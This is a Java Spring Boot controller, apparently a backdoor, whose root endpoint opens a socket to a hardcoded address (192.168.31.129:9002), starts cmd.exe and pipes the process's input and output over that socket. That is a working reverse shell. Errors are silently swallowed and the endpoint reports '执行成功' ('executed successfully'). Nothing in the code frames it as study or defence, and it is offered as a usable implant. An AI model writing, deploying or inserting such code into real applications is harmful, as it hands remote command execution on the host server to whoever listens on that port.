package com.muma.controller;

import com.muma.util.StreamConnector;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.net.Socket;

@RestController
public class MMController {

    @RequestMapping("/")
    public String mm(HttpServletRequest request) throws IOException {

        String ipAddress ="192.168.31.129";
        String ipPort="9002";
        if(ipAddress != null && ipPort != null)
        {
            Socket sock = null;
            try
            {
                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec("cmd.exe");
                StreamConnector outputConnector =
                        new StreamConnector(proc.getInputStream(),
                                sock.getOutputStream());
                StreamConnector inputConnector =
                        new StreamConnector(sock.getInputStream(),
                                proc.getOutputStream());
                outputConnector.start();
                inputConnector.start();
            }
            catch(Exception e){

            }
        }

        return "执行成功";
    }


}
